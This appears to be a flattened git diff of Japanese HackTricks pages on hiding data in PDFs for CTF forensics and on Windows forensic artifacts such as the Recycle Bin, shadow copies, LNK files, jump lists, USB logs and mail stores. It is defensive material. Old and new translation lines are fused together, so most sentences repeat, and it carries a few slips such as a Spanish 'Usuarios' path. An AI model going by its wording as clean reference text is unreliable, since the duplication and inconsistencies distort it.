PDF形式は、データを隠す可能性が高い複雑さで知られており、CTFフォレンジックチャレンジの焦点となっています。プレーンテキスト要素とバイナリオブジェクトを組み合わせ、圧縮されたり暗号化されたりする可能性があり、JavaScriptやFlashなどの言語でスクリプトを含むことができます。PDFの構造を理解するためには、Didier Stevensの[入門資料](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/)を参照するか、テキストエディタやOrigamiなどのPDF固有のエディタを使用することができます。 PDF形式は、その複雑さとデータを隠す可能性で知られており、CTFフォレンジックチャレンジの焦点となっています。これは、プレーンテキスト要素とバイナリオブジェクトを組み合わせており、圧縮または暗号化される可能性があり、JavaScriptやFlashなどの言語でスクリプトを含むことがあります。PDF構造を理解するには、Didier Stevensの[入門資料](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/)を参照するか、テキストエディタやOrigamiなどのPDF専用エディタを使用できます。
PDFの詳細な探や操作には、[qpdf](https://github.com/qpdf/qpdf)や[Origami](https://github.com/mobmewireless/origami-pdf)などのツールが利用可能です。PDF内の隠されたデータは、次のように隠されている可能性があります: PDFの詳細な探や操作には、[qpdf](https://github.com/qpdf/qpdf)や[Origami](https://github.com/mobmewireless/origami-pdf)などのツールが利用可能です。PDF内の隠されたデータは、以下の場所に隠されている可能性があります:
* 不可視レイヤー * 見えないレイヤー
* AdobeのXMPメタデータ形式 * AdobeのXMPメタデータ形式
* インクリメンタルジェネレーション * 増分生成
* 背景と同じ色のテキスト * 背景と同じ色のテキスト
* 画像の後ろや画像と重なるテキスト * 画像の背後にあるテキストや重なり合った画像
* 非表示のコメント * 表示されていないコメント
カスタムPDF分析のためには、[PeepDF](https://github.com/jesparza/peepdf)などのPythonライブラリを使用して、独自の解析スクリプトを作成できます。さらに、PDFが隠されたデータを格納する可能性が非常に広範囲であるため、PDFのリスクと対策に関するNSAガイドなどのリソースは、元の場所でホストされていなくても貴重な洞察を提供しています。[ガイドのコピー](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf)やAnge Albertiniによる[PDF形式のトリック](https://github.com/corkami/docs/blob/master/PDF/PDF.md)のコレクションは、このトピックに関するさらなる読書を提供できます。 カスタムPDF分析には、[PeepDF](https://github.com/jesparza/peepdf)のようなPythonライブラリを使用して、特注のパーススクリプトを作成できます。さらに、PDFの隠されたデータストレージの可能性は非常に広範であり、NSAのPDFリスクと対策に関するガイドのようなリソースは、もはや元の場所にホストされていませんが、貴重な洞察を提供します。[ガイドのコピー](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%Bútmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf)や、Ange Albertiniによる[PDF形式のトリックのコレクション](https://github.com/corkami/docs/blob/master/PDF/PDF.md)は、このテーマに関するさらなる読み物を提供します。
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@hacktricks\_live**をフォローする
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
</details> </details>
{% endhint %}

View file

@ -1,52 +1,53 @@
# Windowsのアーティファクト # Windows Artifacts
## Windowsのアーティファクト ## Windows Artifacts
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
HackTricksをサポートする他の方法 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)で**フォロー**する
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>
{% endhint %}
## 一般的なWindowsのアーティファクト ## Generic Windows Artifacts
### Windows 10の通知 ### Windows 10 Notifications
パス`\Users\<username>\AppData\Local\Microsoft\Windows\Notifications`には、Windows Anniversaryより前の`appdb.dat`またはWindows Anniversary以降の`wpndatabase.db`というデータベースがあります。 パス `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications` には、データベース `appdb.dat`Windows アニバーサリー前)または `wpndatabase.db`Windows アニバーサリー後)があります。
このSQLiteデータベース内には、興味深いデータが含まれている可能性があるすべての通知XML形式を含む`Notification`テーブルがあります。 この SQLite データベース内には、興味深いデータを含む可能性のあるすべての通知XML 形式)の `Notification` テーブルがあります。
### タイムライン ### Timeline
タイムラインは、訪れたWebページ、編集されたドキュメント、実行されたアプリケーションの**時間順の履歴**を提供するWindowsの特性です。 Timeline は、訪問したウェブページ、編集した文書、実行したアプリケーションの**時系列履歴**を提供する Windows の機能です。
データベースは、パス`\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`にあります。このデータベースは、SQLiteツールまたは[**WxTCmd**](https://github.com/EricZimmerman/WxTCmd)というツールで開くことができ、[**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md)というツールで開くことができる**2つのファイルが生成されます**。 データベースは、パス `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db` にあります。このデータベースは、SQLite ツールまたはツール [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) で開くことができ、**2 つのファイルを生成し、ツール** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) **で開くことができます。**
### ADSAlternate Data Streams ### ADS (Alternate Data Streams)
ダウンロードされたファイルには、**ADS Zone.Identifier**が含まれており、それがイントラネット、インターネットなどから**どのように**ダウンロードされたかを示しています。一部のソフトウェア(ブラウザなど)は、通常、ファイルがダウンロードされた**URL**などの**さらなる情報**を追加します。 ダウンロードされたファイルには、イントラネット、インターネットなどから**どのように**ダウンロードされたかを示す**ADS Zone.Identifier**が含まれている場合があります。一部のソフトウェア(ブラウザなど)は、ファイルがダウンロードされた**URL**など、さらに**多くの情報**を提供することがよくあります。
## **ファイルのバックアップ** ## **File Backups**
### リサイクルビン ### Recycle Bin
Vista/Win7/Win8/Win10では、**リサイクルビン**はドライブのルートにあるフォルダ**`$Recycle.bin`**にあります(`C:\$Recycle.bin`)。 Vista/Win7/Win8/Win10 では、**Recycle Bin**はドライブのルートにあるフォルダ**`$Recycle.bin`** にあります(`C:\$Recycle.bin`)。\
このフォルダでファイルが削除されると、2つの特定のファイルが作成されます このフォルダでファイルが削除されると、2 つの特定のファイルが作成されます:
* `$I{id}`: ファイル情報(削除された日 * `$I{id}`: ファイル情報(削除された日
* `$R{id}`: ファイルの内容 * `$R{id}`: ファイルの内容
![](<../../../.gitbook/assets/image (1029).png>) ![](<../../../.gitbook/assets/image (1029).png>)
これらのファイルを使用して、ツール[**Rifiuti**](https://github.com/abelcheung/rifiuti2)を使用して、削除されたファイルの元のアドレスと削除された日付を取得できますVista Win10用に`rifiuti-vista.exe`を使用します)。 これらのファイルがあれば、ツール [**Rifiuti**](https://github.com/abelcheung/rifiuti2) を使用して削除されたファイルの元のアドレスと削除された日時を取得できますVista Win10 には `rifiuti-vista.exe` を使用)。
``` ```
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle .\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
``` ```
@ -54,46 +55,46 @@ Vista/Win7/Win8/Win10では、**リサイクルビン**はドライブのルー
### ボリュームシャドウコピー ### ボリュームシャドウコピー
シャドウコピーは、Microsoft Windowsに含まれる技術で、コンピュータファイルやボリュームの**バックアップコピー**やスナップショットを作成できます。それらが使用中であってもです。 シャドウコピーは、使用中のコンピュータファイルやボリュームの**バックアップコピー**やスナップショットを作成できるMicrosoft Windowsに含まれる技術です。
これらのバックアップは通常、ファイルシステムのルートの`\System Volume Information`にあり、名前は以下の画像に示す**UID**で構成されています: これらのバックアップは通常、ファイルシステムのルートから`\System Volume Information`にあり、名前は以下の画像に示されている**UID**で構成されています。
![](<../../../.gitbook/assets/image (94).png>) ![](<../../../.gitbook/assets/image (94).png>)
**ArsenalImageMounter**を使用してフォレンジックイメージをマウントすると、ツール[**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html)を使用してシャドウコピーを検査し、シャドウコピーのバックアップから**ファイルを抽出**することができます。 **ArsenalImageMounter**フォレンジックイメージをマウントすると、ツール[**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html)を使用してシャドウコピーを検査し、シャドウコピーのバックアップから**ファイルを抽出**することができます。
![](<../../../.gitbook/assets/image (576).png>) ![](<../../../.gitbook/assets/image (576).png>)
レジストリエントリ`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore`には、バックアップしない**ファイルとキー**が含まれています: レジストリエントリ`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore`には、**バックアップしない**ファイルとキーが含まれています:
![](<../../../.gitbook/assets/image (254).png>) ![](<../../../.gitbook/assets/image (254).png>)
レジストリ`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS`には、`Volume Shadow Copies`に関する構成情報も含まれています。 レジストリ`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS`にも、`ボリュームシャドウコピー`に関する構成情報が含まれています。
### オフィスの自動保存ファイル ### Office自動保存ファイル
オフィスの自動保存ファイルは、次の場所にあります: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` Officeの自動保存ファイルは次の場所にあります`C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
## シェルアイテム ## シェルアイテム
シェルアイテムは、別のファイルにアクセスする方法に関する情報を含むアイテムです。 シェルアイテムは、別のファイルにアクセスする方法に関する情報を含むアイテムです。
### 最近のドキュメントLNK ### 最近の文書 (LNK)
Windowsは、ユーザーがファイルを**開いたり使用したり作成したり**すると、これらの**ショートカット**を**自動的に作成**します: Windowsは、ユーザーが次の場所で**ファイルを開く、使用する、または作成する**際に、これらの**ショートカット**を**自動的に****作成**します:
* Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\` * Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
* Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` * Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
フォルダが作成されると、そのフォルダへのリンク、親フォルダへのリンク、祖父フォルダへのリンクも作成されます。 フォルダが作成されると、フォルダへのリンク、親フォルダへのリンク、および祖父フォルダへのリンクも作成されます。
これら自動的に作成されたリンクファイルには、**ファイル**か**フォルダ**か、そのファイルの**MACタイム**、ファイルが保存されている場所の**ボリューム情報**、**ターゲットファイルのフォルダ**が含まれる情報があります。これらの情報は、削除された場合にこれらのファイルを回復するのに役立ちます。 これらの自動的に作成されたリンクファイルは、**ファイル**か**フォルダー**か、**MAC** **タイム**、**ファイルが保存されているボリューム情報**、および**ターゲットファイルのフォルダー**など、**起源に関する情報**を**含んでいます**。この情報は、ファイルが削除された場合にそれらを回復するのに役立ちます。
また、リンクファイルの**作成日**は、元のファイルが**最初に使用された時間**であり、リンクファイルの**変更日**は、元のファイルが**最後に使用された時間**です。 また、リンクファイルの**作成日**は、元のファイルが**最初に使用された****時間**であり、リンクファイルの**最終更新日**は、元のファイルが使用された**最後の時間**です。
これらのファイルを検査するには、[**LinkParser**](http://4discovery.com/our-tools/)を使用できます。 これらのファイルを検査するには、[**LinkParser**](http://4discovery.com/our-tools/)を使用できます。
このツールでは、**2つのセット**のタイムスタンプが見つかります: このツールでは、**2セット**のタイムスタンプが見つかります
* **最初のセット:** * **最初のセット:**
1. FileModifiedDate 1. FileModifiedDate
@ -102,174 +103,177 @@ Windowsは、ユーザーがファイルを**開いたり使用したり作成
* **2番目のセット:** * **2番目のセット:**
1. LinkModifiedDate 1. LinkModifiedDate
2. LinkAccessDate 2. LinkAccessDate
3. LinkCreationDate. 3. LinkCreationDate
最初のセットのタイムスタンプは**ファイル自体のタイムスタンプ**を参照します。2番目のセットは**リンクされたファイルのタイムスタンプ**を参照します。 最初のセットのタイムスタンプは**ファイル自体のタイムスタンプ**を参照します。2番目のセットは**リンクされたファイルのタイムスタンプ**を参照します。
同じ情報を取得するには、Windows CLIツール[**LECmd.exe**](https://github.com/EricZimmerman/LECmd)を実行できます。 同じ情報は、Windows CLIツール[**LECmd.exe**](https://github.com/EricZimmerman/LECmd)を実行することで取得できます。
``` ```
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
``` ```
In this case, the information is going to be saved inside a CSV file.
### ジャンプリスト ### ジャンプリスト
これは、**アプリケーションごとに示される最近使用されたファイル**のリストです。各アプリケーションでアクセスできる**最近使用されたファイルのリスト**です。これらは**自動的に作成されるか、カスタムで作成**されることがあります。 これは、アプリケーションごとに示される最近のファイルです。各アプリケーションでアクセスできる**アプリケーションによって使用された最近のファイルのリスト**です。これらは**自動的に作成されるか、カスタムで作成される**ことがあります。
**自動的に作成されるジャンプリスト**は、`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`に保存されます。ジャンプリストは、初期IDがアプリケーションのIDである`{id}.autmaticDestinations-ms`という形式に従って命名されます。 自動的に作成された**ジャンプリスト**は、`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`に保存されます。ジャンプリストは、最初のIDがアプリケーションのIDである`{id}.autmaticDestinations-ms`という形式で命名されます。
カスタムジャンプリストは、`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\`に保存され、通常はアプリケーションによって作成されます。これはファイルに何か**重要なこと**が起こったためかもしれません(お気に入りとしてマークされたかもしれません)。 カスタムジャンプリストは、`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\`に保存され、通常はファイルに**重要な**ことが起こったためにアプリケーションによって作成されます(お気に入りとしてマークされたかもしれません)。
どのジャンプリストの**作成時刻**は、**ファイルにアクセスされた最初の時間**を示し、**変更時刻**は最後の時間を示します。 任意のジャンプリストの**作成時間**は、**ファイルが最初にアクセスされた時間**を示し、**修正時間は最後にアクセスされた時間**を示します。
[JumplistExplorer](https://ericzimmerman.github.io/#!index.md)を使用してジャンプリストを調査できます。 ジャンプリストは[**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md)を使用して検査できます。
![](<../../../.gitbook/assets/image (168).png>) ![](<../../../.gitbook/assets/image (168).png>)
_JumplistExplorerによって提供されるタイムスタンプは、ジャンプリストファイル自体に関連しています_ (_JumplistExplorerによって提供されるタイムスタンプは、ジャンプリストファイル自体に関連しています_)
### シェルバッグ ### シェルバッグ
[**シェルバッグとは何かを学ぶには、このリンクを参照してください。**](interesting-windows-registry-keys.md#shellbags) [**このリンクをフォローしてシェルバッグについて学んでください。**](interesting-windows-registry-keys.md#shellbags)
## Windows USBの使用 ## Windows USBの使用
USBデバイスが使用されたことを特定することが可能です。これは次のように作成されます: USBデバイスが使用されたことを特定することは、以下の作成によって可能です:
* Windows最近使用したフォルダ * Windows Recent Folder
* Microsoft Office最近使用したフォルダ * Microsoft Office Recent Folder
* ジャンプリスト * ジャンプリスト
オリジナルのパスを指す代わりに、一部のLNKファイルはWPDNSEフォルダを指します 一部のLNKファイルは、元のパスを指すのではなく、WPDNSEフォルダを指しています:
![](<../../../.gitbook/assets/image (218).png>) ![](<../../../.gitbook/assets/image (218).png>)
フォルダWPDNSE内のファイルはオリジナルのファイルのコピーであり、したがってPCの再起動を生き延びることはできません。GUIDはシェルバッグから取得されます。 WPDNSEフォルダー内のファイルは元のファイルのコピーであり、PCの再起動では生き残らず、GUIDはシェルバッグから取得されます。
### レジストリ情報 ### レジストリ情報
USB接続されたデバイスに関する興味深い情報を含むレジストリキーを確認するには、[このページを参照してください](interesting-windows-registry-keys.md#usb-information)。 [このページをチェックして](interesting-windows-registry-keys.md#usb-information) USB接続デバイスに関する興味深い情報を含むレジストリキーを学んでください
### setupapi ### setupapi
USB接続が行われたタイムスタンプを取得するには、ファイル`C:\Windows\inf\setupapi.dev.log`を確認してください(`Section start`を検索)。 USB接続が行われた時刻に関するタイムスタンプを取得するには、ファイル`C:\Windows\inf\setupapi.dev.log`を確認してください(`Section start`を検索)。
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>) ![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
### USB Detective ### USB Detective
[**USBDetective**](https://usbdetective.com)を使用して、イメージに接続されたUSBデバイスに関する情報を取得できます。 [**USBDetective**](https://usbdetective.com)は、画像に接続されたUSBデバイスに関する情報を取得するために使用できます。
![](<../../../.gitbook/assets/image (452).png>) ![](<../../../.gitbook/assets/image (452).png>)
### プラグアンドプレイのクリーンアップ ### プラグアンドプレイのクリーンアップ
「プラグアンドプレイのクリーンアップ」として知られるスケジュールされたタスクは、古いドライバーバージョンを削除するために主に設計されています。最新のドライバーパッケージバージョンを保持することが指定されているにもかかわらず、オンラインソースによれば、過去30日間非アクティブだったドライバーも対象となる可能性があります。その結果、過去30日間接続されていないリムーバブルデバイスのドライバーは削除の対象となる可能性があります。 「プラグアンドプレイのクリーンアップ」として知られるスケジュールされたタスクは、主に古いドライバーバージョンの削除を目的としています。最新のドライバーパッケージバージョンを保持するという指定された目的とは対照的に、オンラインソースは、30日間非アクティブなドライバーも対象にしていることを示唆しています。したがって、過去30日間接続されていないリムーバブルデバイスのドライバーは削除される可能性があります。
このタスクは次のパスにあります:`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`。 タスクは次のパスにあります:`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`。
タスクの内容を示すスクリーンショットが提供されています:![](https://2.bp.blogspot.com/-wqYubtuR\_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) タスクの内容を示すスクリーンショットが提供されています: ![](https://2.bp.blogspot.com/-wqYubtuR\_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
**タスクの主要コンポーネントと設定:** **タスクの主要コンポーネントと設定:**
* **pnpclean.dll**このDLLは実際のクリーンアッププロセスを担当しています。 * **pnpclean.dll**このDLLは実際のクリーンアッププロセスを担当します。
* **UseUnifiedSchedulingEngine**`TRUE`に設定されており、一般的なタスクスケジューリングエンジンの使用を示しています。 * **UseUnifiedSchedulingEngine**`TRUE`に設定されており、一般的なタスクスケジューリングエンジンの使用を示します。
* **MaintenanceSettings** * **MaintenanceSettings**
* **Period'P1M'**:定期的な自動メンテナンス中に月次のクリーンアップタスクを開始するようにタスクスケジューラに指示します。 * **Period ('P1M')**:タスクスケジューラに、定期的な自動メンテナンス中に毎月クリーンアップタスクを開始するよう指示します。
* **Deadline'P2M'**タスクが2か月連続で失敗した場合、緊急時の自動メンテナンス中にタスクを実行するようにタスクスケジューラに指示します。 * **Deadline ('P2M')**タスクスケジューラに、タスクが2か月連続で失敗した場合、緊急自動メンテナンス中にタスクを実行するよう指示します。
この構成により、ドライバーの定期的なメンテナンスとクリーンアップが確保され、連続した失敗の場合のタスクの再試行が規定されています。 この構成により、ドライバーの定期的なメンテナンスとクリーンアップが確保され、連続して失敗した場合のタスクの再試行のための規定が設けられています。
**詳細については、次を参照してください:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) **詳細については、次を確認してください:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
## メール ## メール
メールには**2つの興味深い部分が含まれています:ヘッダーとメールの内容**。**ヘッダー**には次のような情報が含まれます: メールには**2つの興味深い部分があります:ヘッダーとメールの内容**。**ヘッダー**には次のような情報が含まれています:
* **誰**メールを送信したかメールアドレス、IP、メールをリダイレクトしたメールサーバー * **誰**メールを送信したかメールアドレス、IP、メールをリダイレクトしたメールサーバー
* メールが送信された**時刻** * **いつ**メールが送信されたか
また、`References``In-Reply-To`ヘッダー内にはメッセージのIDが含まれています また、`References`および`In-Reply-To`ヘッダー内にはメッセージのIDが含まれています
![](<../../../.gitbook/assets/image (593).png>) ![](<../../../.gitbook/assets/image (593).png>)
### Windowsメールアプリ ### Windowsメールアプリ
このアプリケーションは、メールをHTMLまたはテキストで保存します。メールは`\Users\<username>\AppData\Local\Comms\Unistore\data\3\`内のサブフォルダ内に保存されます。メールは`.dat`拡張子で保存されます。 このアプリケーションは、メールをHTMLまたはテキストで保存します。メールは`\Users\<username>\AppData\Local\Comms\Unistore\data\3\`内のサブフォルダーにあります。メールは`.dat`拡張子で保存されます。
メールの**メタデータ**と**連絡先**は**EDBデータベース**内に見つけることができます:`\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol` メールの**メタデータ**と**連絡先**は、**EDBデータベース**内にあります:`\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
ファイルの拡張子を`.vol`から`.edb`に変更し、ツール[ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)を使用して開くことができます。`Message`テーブル内にメールが表示されます。 ファイルの拡張子を`.vol`から`.edb`に変更すると、ツール[**ESEDatabaseView**](https://www.nirsoft.net/utils/ese_database_view.html)を使用して開くことができます。`Message`テーブル内でメールを見ることができます。
### Microsoft Outlook ### Microsoft Outlook
ExchangeサーバーまたはOutlookクライアントが使用されている場合、いくつかのMAPIヘッダーが存在します ExchangeサーバーまたはOutlookクライアントが使用されると、いくつかのMAPIヘッダーが存在します
* `Mapi-Client-Submit-Time`:メールが送信されたシステムの時刻 * `Mapi-Client-Submit-Time`:メールが送信されたときのシステムの時間
* `Mapi-Conversation-Index`:スレッドの子メッセージ数とスレッドの各メッセージのタイムスタンプ * `Mapi-Conversation-Index`:スレッドの子メッセージ数と各メッセージのタイムスタンプ
* `Mapi-Entry-ID`:メッセージ識別子 * `Mapi-Entry-ID`:メッセージ識別子
* `Mappi-Message-Flags`および`Pr_last_Verb-Executed`MAPIクライアントに関する情報メッセージは既読ですか?未読ですか?返信済みですか?リダイレクトされましたか?外出中ですか?) * `Mappi-Message-Flags`および`Pr_last_Verb-Executed`MAPIクライアントに関する情報メッセージは読まれたか?未読か?応答されたか?リダイレクトされたか?不在か?)
Microsoft Outlookクライアントでは、送受信したすべてのメッセージ、連絡先データ、およびカレンダーデータが次のPSTファイルに保存されます Microsoft Outlookクライアントでは、送信/受信されたすべてのメッセージ、連絡先データ、およびカレンダーデータは、次の場所にあるPSTファイルに保存されます
* `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook`WinXP * `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook`WinXP
* `%USERPROFILE%\AppData\Local\Microsoft\Outlook` * `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
レジストリパス`HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook`は使用されているファイルを示します。 レジストリパス`HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook`は使用されているファイルを示しています。
PSTファイルは、ツール[**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html)を使用して開くことができます。 PSTファイルは、ツール[**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html)を使用して開くことができます。
![](<../../../.gitbook/assets/image (498).png>) ![](<../../../.gitbook/assets/image (498).png>)
### Microsoft Outlook OST Files
**OSTファイル**は、Microsoft Outlookが**IMAP**または**Exchange**サーバーと構成されているときに生成され、PSTファイルと同様の情報を格納します。このファイルはサーバーと同期され、**過去12ヶ月**分のデータを**最大50GB**まで保持し、PSTファイルと同じディレクトリにあります。OSTファイルを表示するには、[**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html)を利用できます。 ### Microsoft Outlook OSTファイル
**OSTファイル**は、Microsoft Outlookが**IMAP**または**Exchange**サーバーで構成されると生成され、PSTファイルと同様の情報を保存します。このファイルはサーバーと同期され、**過去12か月間**のデータを保持し、**最大サイズは50GB**で、PSTファイルと同じディレクトリにあります。OSTファイルを表示するには、[**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html)を利用できます。
### 添付ファイルの取得 ### 添付ファイルの取得
失われた添付ファイルは次の場所から回復できる場合があります 失われた添付ファイルは、以下から回復可能かもしれません
* **IE10**の場合:`%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` * **IE10**の場合:`%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
* **IE11以降**の場合:`%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` * **IE11以降**の場合:`%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
### Thunderbird MBOX Files ### Thunderbird MBOXファイル
**Thunderbird**はデータを格納するために**MBOXファイル**を使用し、`\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`にあります。 **Thunderbird**は、データを保存するために**MBOXファイル**を使用し、` \Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`にあります。
### 画像サムネイル ### 画像サムネイル
* **Windows XPおよび8-8.1**:サムネイルが含まれるフォルダにアクセスすると、削除後も画像プレビューを保存する`thumbs.db`ファイルが生成されます。 * **Windows XPおよび8-8.1**:サムネイルを含むフォルダーにアクセスすると、削除後も画像プレビューを保存する`thumbs.db`ファイルが生成されます。
* **Windows 7/10**UNCパスを介してネットワーク経由でアクセスすると`thumbs.db`が作成されます。 * **Windows 7/10**UNCパス経由でネットワークにアクセスすると`thumbs.db`が作成されます。
